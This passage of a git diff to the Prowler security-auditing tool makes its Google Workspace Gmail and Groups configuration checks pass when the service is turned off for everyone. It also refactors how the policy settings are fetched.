+++ b/prowler/providers/googleworkspace/services/gmail/gmail_mail_delegation_disabled/gmail_mail_delegation_disabled.py
@@ -26,7 +26,13 @@ class gmail_mail_delegation_disabled(Check):
delegation_enabled = gmail_client.policies.enable_mail_delegation
- if delegation_enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no mailbox can be delegated."
+ )
+ elif delegation_enabled is False:
report.status = "PASS"
report.status_extended = (
f"Mail delegation is disabled "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled.metadata.json
index 95cd7567c3..679f321114 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled.metadata.json
@@ -36,5 +36,5 @@
"gmail_pop_imap_access_disabled",
"gmail_auto_forwarding_disabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled.py
index 3f384de1d0..8e4f05491b 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_per_user_outbound_gateway_disabled/gmail_per_user_outbound_gateway_disabled.py
@@ -26,7 +26,13 @@ class gmail_per_user_outbound_gateway_disabled(Check):
gateway_allowed = gmail_client.policies.allow_per_user_outbound_gateway
- if gateway_allowed is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no outbound gateway can be used."
+ )
+ elif gateway_allowed is False:
report.status = "PASS"
report.status_extended = (
f"Per-user outbound gateways are disabled "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled.metadata.json
index 48f077d8ea..af52b71b15 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled.metadata.json
@@ -36,5 +36,5 @@
"gmail_auto_forwarding_disabled",
"gmail_per_user_outbound_gateway_disabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled.py
index 18b5034e31..e4ffa1baa7 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_pop_imap_access_disabled/gmail_pop_imap_access_disabled.py
@@ -27,7 +27,13 @@ class gmail_pop_imap_access_disabled(Check):
pop_enabled = gmail_client.policies.enable_pop_access
imap_enabled = gmail_client.policies.enable_imap_access
- if pop_enabled is False and imap_enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no mailbox can be reached over POP or IMAP."
+ )
+ elif pop_enabled is False and imap_enabled is False:
report.status = "PASS"
report.status_extended = (
f"POP and IMAP access are both disabled "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled.metadata.json
index cae7d474ac..8f41f0e38c 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled.metadata.json
@@ -36,5 +36,5 @@
"gmail_encrypted_attachment_protection_enabled",
"gmail_anomalous_attachment_protection_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled.py
index 1dd2ed59d1..3a5baff2f7 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_script_attachment_protection_enabled/gmail_script_attachment_protection_enabled.py
@@ -27,7 +27,13 @@ class gmail_script_attachment_protection_enabled(Check):
enabled = gmail_client.policies.enable_script_attachment_protection
consequence = gmail_client.policies.script_attachment_protection_consequence
- if enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif enabled is False:
report.status = "FAIL"
report.status_extended = (
f"Protection against attachments with scripts from "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_service.py b/prowler/providers/googleworkspace/services/gmail/gmail_service.py
index ed9dc71803..38076674bb 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_service.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_service.py
@@ -1,9 +1,10 @@
from typing import Optional
-from pydantic import BaseModel
-
from prowler.lib.logger import logger
-from prowler.providers.googleworkspace.lib.service.service import GoogleWorkspaceService
+from prowler.providers.googleworkspace.lib.service.service import (
+ GoogleWorkspaceService,
+ ServicePolicies,
+)
class Gmail(GoogleWorkspaceService):
@@ -30,160 +31,21 @@ class Gmail(GoogleWorkspaceService):
logger.error("Failed to build Cloud Identity service")
return
- request = service.policies().list(
- pageSize=100,
- filter='setting.type.matches("gmail.*")',
+ policies, fetch_succeeded = self._list_policies(
+ service,
+ 'setting.type.matches("gmail.*")',
+ "fetching Gmail policies",
)
- fetch_succeeded = True
- while request is not None:
- try:
- response = request.execute()
+ (
+ self.policies.service_state,
+ self.policies.service_state_overridden,
+ ) = self._service_status(policies, "gmail.service_status")
- for policy in response.get("policies", []):
- if not self._is_customer_level_policy(policy):
- continue
-
- setting = policy.get("setting", {})
- setting_type = setting.get("type", "").removeprefix("settings/")
- logger.debug(f"Processing setting type: {setting_type}")
-
- value = setting.get("value", {})
-
- if setting_type == "gmail.mail_delegation":
- self.policies.enable_mail_delegation = value.get(
- "enableMailDelegation"
- )
- logger.debug("Gmail mail delegation setting fetched.")
-
- elif setting_type == "gmail.email_attachment_safety":
- self.policies.enable_encrypted_attachment_protection = (
- value.get("enableEncryptedAttachmentProtection")
- )
- self.policies.encrypted_attachment_protection_consequence = value.get(
- "encryptedAttachmentProtectionConsequence"
- )
- self.policies.enable_script_attachment_protection = (
- value.get("enableAttachmentWithScriptsProtection")
- )
- self.policies.script_attachment_protection_consequence = (
- value.get("scriptAttachmentProtectionConsequence")
- )
- self.policies.enable_anomalous_attachment_protection = (
- value.get("enableAnomalousAttachmentProtection")
- )
- self.policies.anomalous_attachment_protection_consequence = value.get(
- "anomalousAttachmentProtectionConsequence"
- )
- logger.debug("Gmail attachment safety settings fetched.")
-
- elif setting_type == "gmail.links_and_external_images":
- self.policies.enable_shortener_scanning = value.get(
- "enableShortenerScanning"
- )
- self.policies.enable_external_image_scanning = value.get(
- "enableExternalImageScanning"
- )
- self.policies.enable_aggressive_warnings_on_untrusted_links = value.get(
- "enableAggressiveWarningsOnUntrustedLinks"
- )
- logger.debug(
- "Gmail links and external images settings fetched."
- )
-
- elif setting_type == "gmail.spoofing_and_authentication":
- self.policies.detect_domain_name_spoofing = value.get(
- "detectDomainNameSpoofing"
- )
- self.policies.domain_spoofing_consequence = value.get(
- "domainSpoofingConsequence"
- )
- self.policies.detect_employee_name_spoofing = value.get(
- "detectEmployeeNameSpoofing"
- )
- self.policies.employee_name_spoofing_consequence = (
- value.get("employeeNameSpoofingConsequence")
- )
- self.policies.detect_inbound_domain_spoofing = value.get(
- "detectDomainSpoofingFromUnauthenticatedSenders"
- )
- self.policies.inbound_domain_spoofing_consequence = (
- value.get("inboundDomainSpoofingConsequence")
- )
- self.policies.detect_unauthenticated_emails = value.get(
- "detectUnauthenticatedEmails"
- )
- self.policies.unauthenticated_email_consequence = value.get(
- "unauthenticatedEmailConsequence"
- )
- self.policies.detect_groups_spoofing = value.get(
- "detectGroupsSpoofing"
- )
- self.policies.groups_spoofing_visibility_type = value.get(
- "groupsSpoofingVisibilityType"
- )
- self.policies.groups_spoofing_consequence = value.get(
- "groupsSpoofingConsequence"
- )
- logger.debug(
- "Gmail spoofing and authentication settings fetched."
- )
-
- elif setting_type == "gmail.pop_access":
- self.policies.enable_pop_access = value.get(
- "enablePopAccess"
- )
- logger.debug("Gmail POP access setting fetched.")
-
- elif setting_type == "gmail.imap_access":
- self.policies.enable_imap_access = value.get(
- "enableImapAccess"
- )
- logger.debug("Gmail IMAP access setting fetched.")
-
- elif setting_type == "gmail.auto_forwarding":
- self.policies.enable_auto_forwarding = value.get(
- "enableAutoForwarding"
- )
- logger.debug("Gmail auto-forwarding setting fetched.")
-
- elif setting_type == "gmail.per_user_outbound_gateway":
- self.policies.allow_per_user_outbound_gateway = value.get(
- "allowUsersToUseExternalSmtpServers"
- )
- logger.debug(
- "Gmail per-user outbound gateway setting fetched."
- )
-
- elif (
- setting_type
- == "gmail.enhanced_pre_delivery_message_scanning"
- ):
- self.policies.enable_enhanced_pre_delivery_scanning = (
- value.get("enableImprovedSuspiciousContentDetection")
- )
- logger.debug(
- "Gmail enhanced pre-delivery scanning setting fetched."
- )
-
- elif setting_type == "gmail.comprehensive_mail_storage":
- self.policies.comprehensive_mail_storage_enabled = (
- value.get("ruleId") is not None
- )
- logger.debug(
- "Gmail comprehensive mail storage setting fetched."
- )
-
- request = service.policies().list_next(request, response)
-
- except Exception as error:
- self._handle_api_error(
- error,
- "fetching Gmail policies",
- self.provider.identity.customer_id,
- )
- fetch_succeeded = False
- break
+ for policy in self._effective_policies(policies):
+ setting = policy.get("setting", {})
+ setting_type = setting.get("type", "").removeprefix("settings/")
+ self._process_setting(setting_type, setting.get("value", {}))
self.policies_fetched = fetch_succeeded
logger.info("Gmail policies fetched successfully.")
@@ -196,8 +58,116 @@ class Gmail(GoogleWorkspaceService):
)
self.policies_fetched = False
+ def _process_setting(self, setting_type: str, value: dict):
+ """Populate the model from a single policy setting."""
+ logger.debug(f"Processing setting type: {setting_type}")
-class GmailPolicies(BaseModel):
+ if setting_type == "gmail.mail_delegation":
+ self.policies.enable_mail_delegation = value.get("enableMailDelegation")
+ logger.debug("Gmail mail delegation setting fetched.")
+
+ elif setting_type == "gmail.email_attachment_safety":
+ self.policies.enable_encrypted_attachment_protection = value.get(
+ "enableEncryptedAttachmentProtection"
+ )
+ self.policies.encrypted_attachment_protection_consequence = value.get(
+ "encryptedAttachmentProtectionConsequence"
+ )
+ self.policies.enable_script_attachment_protection = value.get(
+ "enableAttachmentWithScriptsProtection"
+ )
+ self.policies.script_attachment_protection_consequence = value.get(
+ "scriptAttachmentProtectionConsequence"
+ )
+ self.policies.enable_anomalous_attachment_protection = value.get(
+ "enableAnomalousAttachmentProtection"
+ )
+ self.policies.anomalous_attachment_protection_consequence = value.get(
+ "anomalousAttachmentProtectionConsequence"
+ )
+ logger.debug("Gmail attachment safety settings fetched.")
+
+ elif setting_type == "gmail.links_and_external_images":
+ self.policies.enable_shortener_scanning = value.get(
+ "enableShortenerScanning"
+ )
+ self.policies.enable_external_image_scanning = value.get(
+ "enableExternalImageScanning"
+ )
+ self.policies.enable_aggressive_warnings_on_untrusted_links = value.get(
+ "enableAggressiveWarningsOnUntrustedLinks"
+ )
+ logger.debug("Gmail links and external images settings fetched.")
+
+ elif setting_type == "gmail.spoofing_and_authentication":
+ # Each detect flag pairs with its own consequence:
+ # domainNameSpoofing is the similar-domain-names
+ # protection, domainSpoofing is the inbound one.
+ self.policies.detect_domain_name_spoofing = value.get(
+ "detectDomainNameSpoofing"
+ )
+ self.policies.domain_name_spoofing_consequence = value.get(
+ "domainNameSpoofingConsequence"
+ )
+ self.policies.detect_employee_name_spoofing = value.get(
+ "detectEmployeeNameSpoofing"
+ )
+ self.policies.employee_name_spoofing_consequence = value.get(
+ "employeeNameSpoofingConsequence"
+ )
+ self.policies.detect_inbound_domain_spoofing = value.get(
+ "detectDomainSpoofingFromUnauthenticatedSenders"
+ )
+ self.policies.inbound_domain_spoofing_consequence = value.get(
+ "domainSpoofingConsequence"
+ )
+ self.policies.detect_unauthenticated_emails = value.get(
+ "detectUnauthenticatedEmails"
+ )
+ self.policies.unauthenticated_email_consequence = value.get(
+ "unauthenticatedEmailConsequence"
+ )
+ self.policies.detect_groups_spoofing = value.get("detectGroupsSpoofing")
+ self.policies.groups_spoofing_visibility_type = value.get(
+ "groupsSpoofingVisibilityType"
+ )
+ self.policies.groups_spoofing_consequence = value.get(
+ "groupsSpoofingConsequence"
+ )
+ logger.debug("Gmail spoofing and authentication settings fetched.")
+
+ elif setting_type == "gmail.pop_access":
+ self.policies.enable_pop_access = value.get("enablePopAccess")
+ logger.debug("Gmail POP access setting fetched.")
+
+ elif setting_type == "gmail.imap_access":
+ self.policies.enable_imap_access = value.get("enableImapAccess")
+ logger.debug("Gmail IMAP access setting fetched.")
+
+ elif setting_type == "gmail.auto_forwarding":
+ self.policies.enable_auto_forwarding = value.get("enableAutoForwarding")
+ logger.debug("Gmail auto-forwarding setting fetched.")
+
+ elif setting_type == "gmail.per_user_outbound_gateway":
+ self.policies.allow_per_user_outbound_gateway = value.get(
+ "allowUsersToUseExternalSmtpServers"
+ )
+ logger.debug("Gmail per-user outbound gateway setting fetched.")
+
+ elif setting_type == "gmail.enhanced_pre_delivery_message_scanning":
+ self.policies.enable_enhanced_pre_delivery_scanning = value.get(
+ "enableImprovedSuspiciousContentDetection"
+ )
+ logger.debug("Gmail enhanced pre-delivery scanning setting fetched.")
+
+ elif setting_type == "gmail.comprehensive_mail_storage":
+ self.policies.comprehensive_mail_storage_enabled = (
+ value.get("ruleId") is not None
+ )
+ logger.debug("Gmail comprehensive mail storage setting fetched.")
+
+
+class GmailPolicies(ServicePolicies):
"""Model for domain-level Gmail policy settings."""
# gmail.mail_delegation
@@ -218,7 +188,7 @@ class GmailPolicies(BaseModel):
# gmail.spoofing_and_authentication
detect_domain_name_spoofing: Optional[bool] = None
- domain_spoofing_consequence: Optional[str] = None
+ domain_name_spoofing_consequence: Optional[str] = None
detect_employee_name_spoofing: Optional[bool] = None
employee_name_spoofing_consequence: Optional[str] = None
detect_inbound_domain_spoofing: Optional[bool] = None
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled.metadata.json
index 518b90b962..1a9e2e2106 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled.metadata.json
@@ -36,5 +36,5 @@
"gmail_external_image_scanning_enabled",
"gmail_untrusted_link_warnings_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled.py
index 01411dcc04..a6a1d681ff 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_shortener_scanning_enabled/gmail_shortener_scanning_enabled.py
@@ -26,7 +26,13 @@ class gmail_shortener_scanning_enabled(Check):
scanning_enabled = gmail_client.policies.enable_shortener_scanning
- if scanning_enabled is True:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif scanning_enabled is True:
report.status = "PASS"
report.status_extended = (
f"Identification of links behind shortened URLs is enabled "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled.metadata.json
index ec730d0a8b..744625a7cf 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled.metadata.json
@@ -38,5 +38,5 @@
"gmail_inbound_domain_spoofing_protection_enabled",
"gmail_groups_spoofing_protection_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled.py
index 44ff6fa24d..f663a272c0 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled.py
@@ -27,7 +27,13 @@ class gmail_unauthenticated_email_protection_enabled(Check):
enabled = gmail_client.policies.detect_unauthenticated_emails
consequence = gmail_client.policies.unauthenticated_email_consequence
- if enabled is False:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif enabled is False:
report.status = "FAIL"
report.status_extended = (
f"Protection against unauthenticated emails is disabled "
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled.metadata.json b/prowler/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled.metadata.json
index 78678ff9f5..3456889c2f 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled.metadata.json
@@ -36,5 +36,5 @@
"gmail_shortener_scanning_enabled",
"gmail_external_image_scanning_enabled"
],
- "Notes": ""
+ "Notes": "When Gmail is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled.py b/prowler/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled.py
index a62480de3b..531c0cc473 100644
--- a/prowler/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled.py
+++ b/prowler/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled.py
@@ -28,7 +28,13 @@ class gmail_untrusted_link_warnings_enabled(Check):
gmail_client.policies.enable_aggressive_warnings_on_untrusted_links
)
- if warnings_enabled is True:
+ if gmail_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Gmail is turned off for everyone in domain "
+ f"{gmail_client.provider.identity.domain}, so no user mailbox receives mail through Gmail."
+ )
+ elif warnings_enabled is True:
report.status = "PASS"
report.status_extended = (
f"Warning prompts for clicks on untrusted domain links are enabled "
diff --git a/prowler/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted.metadata.json b/prowler/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted.metadata.json
index 6a5bb80c3e..2691cecb55 100644
--- a/prowler/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted.metadata.json
+++ b/prowler/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted.metadata.json
@@ -36,5 +36,5 @@
"groups_external_access_restricted",
"groups_view_conversations_restricted"
],
- "Notes": ""
+ "Notes": "When Groups for Business is turned off for everyone, only the group creation setting is exempt: no group can be created in the Google Groups app, but existing groups stay active, so the external members and incoming email settings are still evaluated."
}
diff --git a/prowler/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted.py b/prowler/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted.py
index ad9ce534ed..e6c4baf444 100644
--- a/prowler/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted.py
+++ b/prowler/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted.py
@@ -13,6 +13,10 @@ class groups_creation_restricted(Check):
- Only organization admins can create groups (not all users)
- Group owners cannot allow external members
- Group owners cannot allow incoming email from outside the organization
+
+ When Groups for Business is off for everyone, nobody can create a group in
+ the Google Groups app, so the creation setting is moot. Existing groups
+ stay active and keep receiving mail, so the other two settings still count.
"""
def execute(self) -> List[CheckReportGoogleWorkspace]:
@@ -35,10 +39,12 @@ class groups_creation_restricted(Check):
incoming_mail = policies.owners_can_allow_incoming_mail_from_public
issues = []
+ service_off = policies.off_for_everyone
# Check creation access level
- # Default is USERS_IN_DOMAIN (insecure) — only ADMIN_ONLY is compliant
- if access_level is None or access_level != "ADMIN_ONLY":
+ # Default is USERS_IN_DOMAIN (insecure) — only ADMIN_ONLY is compliant.
+ # Moot while the service is off: nobody can create a group then.
+ if not service_off and access_level != "ADMIN_ONLY":
effective = access_level or "USERS_IN_DOMAIN (default)"
issues.append(
f"group creation is set to {effective} instead of ADMIN_ONLY"
@@ -56,13 +62,28 @@ class groups_creation_restricted(Check):
"group owners can allow incoming email from outside the organization"
)
- if not issues:
+ if not issues and service_off:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Groups for Business is turned off for everyone in domain "
+ f"{domain}, so no group can be created, and existing groups "
+ f"allow no external members and no incoming email from outside."
+ )
+ elif not issues:
report.status = "PASS"
report.status_extended = (
f"Group creation is properly restricted in domain {domain}: "
f"admin-only creation, no external members, "
f"no incoming email from outside."
)
+ elif service_off:
+ report.status = "FAIL"
+ issues_text = "; ".join(issues)
+ report.status_extended = (
+ f"Groups for Business is turned off for everyone in domain "
+ f"{domain}, so no group can be created, but existing groups "
+ f"remain active and are not fully restricted: {issues_text}."
+ )
else:
report.status = "FAIL"
issues_text = "; ".join(issues)
diff --git a/prowler/providers/googleworkspace/services/groups/groups_service.py b/prowler/providers/googleworkspace/services/groups/groups_service.py
index 1ebc0508e3..f9b7204983 100644
--- a/prowler/providers/googleworkspace/services/groups/groups_service.py
+++ b/prowler/providers/googleworkspace/services/groups/groups_service.py
@@ -1,9 +1,10 @@
from typing import Optional
-from pydantic import BaseModel
-
from prowler.lib.logger import logger
-from prowler.providers.googleworkspace.lib.service.service import GoogleWorkspaceService
+from prowler.providers.googleworkspace.lib.service.service import (
+ GoogleWorkspaceService,
+ ServicePolicies,
+)
class Groups(GoogleWorkspaceService):
@@ -30,62 +31,21 @@ class Groups(GoogleWorkspaceService):
logger.error("Failed to build Cloud Identity service")
return
- request = service.policies().list(
- pageSize=100,
- filter='setting.type.matches("groups_for_business.*")',
+ policies, fetch_succeeded = self._list_policies(
+ service,
+ 'setting.type.matches("groups_for_business.*")',
+ "fetching Groups for Business policies",
)
- fetch_succeeded = True
- while request is not None:
- try:
- response = request.execute()
+ (
+ self.policies.service_state,
+ self.policies.service_state_overridden,
+ ) = self._service_status(policies, "groups_for_business.service_status")
- for policy in response.get("policies", []):
- if not self._is_customer_level_policy(policy):
- continue
-
- setting = policy.get("setting", {})
- setting_type = setting.get("type", "").removeprefix("settings/")
- logger.debug(f"Processing setting type: {setting_type}")
-
- value = setting.get("value", {})
-
- if setting_type == "groups_for_business.groups_sharing":
- self.policies.collaboration_capability = value.get(
- "collaborationCapability"
- )
- self.policies.create_groups_access_level = value.get(
- "createGroupsAccessLevel"
- )
- self.policies.owners_can_allow_external_members = value.get(
- "ownersCanAllowExternalMembers"
- )
- self.policies.owners_can_allow_incoming_mail_from_public = (
- value.get("ownersCanAllowIncomingMailFromPublic")
- )
- self.policies.view_topics_default_access_level = value.get(
- "viewTopicsDefaultAccessLevel"
- )
- self.policies.owners_can_hide_groups = value.get(
- "ownersCanHideGroups"
- )
- self.policies.new_groups_are_hidden = value.get(
- "newGroupsAreHidden"
- )
- logger.debug(
- "Groups for Business sharing settings fetched."
- )
-
- request = service.policies().list_next(request, response)
-
- except Exception as error:
- self._handle_api_error(
- error,
- "fetching Groups for Business policies",
- self.provider.identity.customer_id,
- )
- fetch_succeeded = False
- break
+ for policy in self._effective_policies(policies):
+ setting = policy.get("setting", {})
+ setting_type = setting.get("type", "").removeprefix("settings/")
+ self._process_setting(setting_type, setting.get("value", {}))
self.policies_fetched = fetch_succeeded
@@ -104,8 +64,32 @@ class Groups(GoogleWorkspaceService):
)
self.policies_fetched = False
+ def _process_setting(self, setting_type: str, value: dict):
+ """Populate the model from a single policy setting."""
+ logger.debug(f"Processing setting type: {setting_type}")
-class GroupsPolicies(BaseModel):
+ if setting_type == "groups_for_business.groups_sharing":
+ self.policies.collaboration_capability = value.get(
+ "collaborationCapability"
+ )
+ self.policies.create_groups_access_level = value.get(
+ "createGroupsAccessLevel"
+ )
+ self.policies.owners_can_allow_external_members = value.get(
+ "ownersCanAllowExternalMembers"
+ )
+ self.policies.owners_can_allow_incoming_mail_from_public = value.get(
+ "ownersCanAllowIncomingMailFromPublic"
+ )
+ self.policies.view_topics_default_access_level = value.get(
+ "viewTopicsDefaultAccessLevel"
+ )
+ self.policies.owners_can_hide_groups = value.get("ownersCanHideGroups")
+ self.policies.new_groups_are_hidden = value.get("newGroupsAreHidden")
+ logger.debug("Groups for Business sharing settings fetched.")
+
+
+class GroupsPolicies(ServicePolicies):
"""Model for domain-level Groups for Business policy settings."""
# groups_for_business.groups_sharing
diff --git a/prowler/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted.metadata.json b/prowler/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted.metadata.json
index 88f0927155..8b3ee086cd 100644
--- a/prowler/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted.metadata.json
+++ b/prowler/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted.metadata.json
@@ -36,5 +36,5 @@
"groups_external_access_restricted",
"groups_creation_restricted"
],
- "Notes": ""
+ "Notes": "When Groups for Business is turned off for everyone, the check passes: the setting only governs who can read conversations in the Google Groups app, which is off. Existing groups keep delivering mail to their members."
}
diff --git a/prowler/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted.py b/prowler/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted.py
index 66fb15a43b..6a9fc9b5a3 100644
--- a/prowler/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted.py
+++ b/prowler/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted.py
@@ -29,7 +29,13 @@ class groups_view_conversations_restricted(Check):
view_access = groups_client.policies.view_topics_default_access_level
domain = groups_client.provider.identity.domain
- if view_access == "GROUP_MEMBERS":
+ if groups_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Groups for Business is turned off for everyone in domain "
+ f"{groups_client.provider.identity.domain}, so no group conversation can be viewed in the Google Groups app."
+ )
+ elif view_access == "GROUP_MEMBERS":
report.status = "PASS"
report.status_extended = (
f"Default permission to view conversations is set to "
diff --git a/prowler/providers/googleworkspace/services/marketplace/marketplace_service.py b/prowler/providers/googleworkspace/services/marketplace/marketplace_service.py
index 4c117a4468..5aee87785f 100644
--- a/prowler/providers/googleworkspace/services/marketplace/marketplace_service.py
+++ b/prowler/providers/googleworkspace/services/marketplace/marketplace_service.py
@@ -30,41 +30,22 @@ class Marketplace(GoogleWorkspaceService):
logger.error("Failed to build Cloud Identity service")
return
- request = service.policies().list(
- pageSize=100,
- filter='setting.type.matches("workspace_marketplace.*")',
+ policies, fetch_succeeded = self._list_policies(
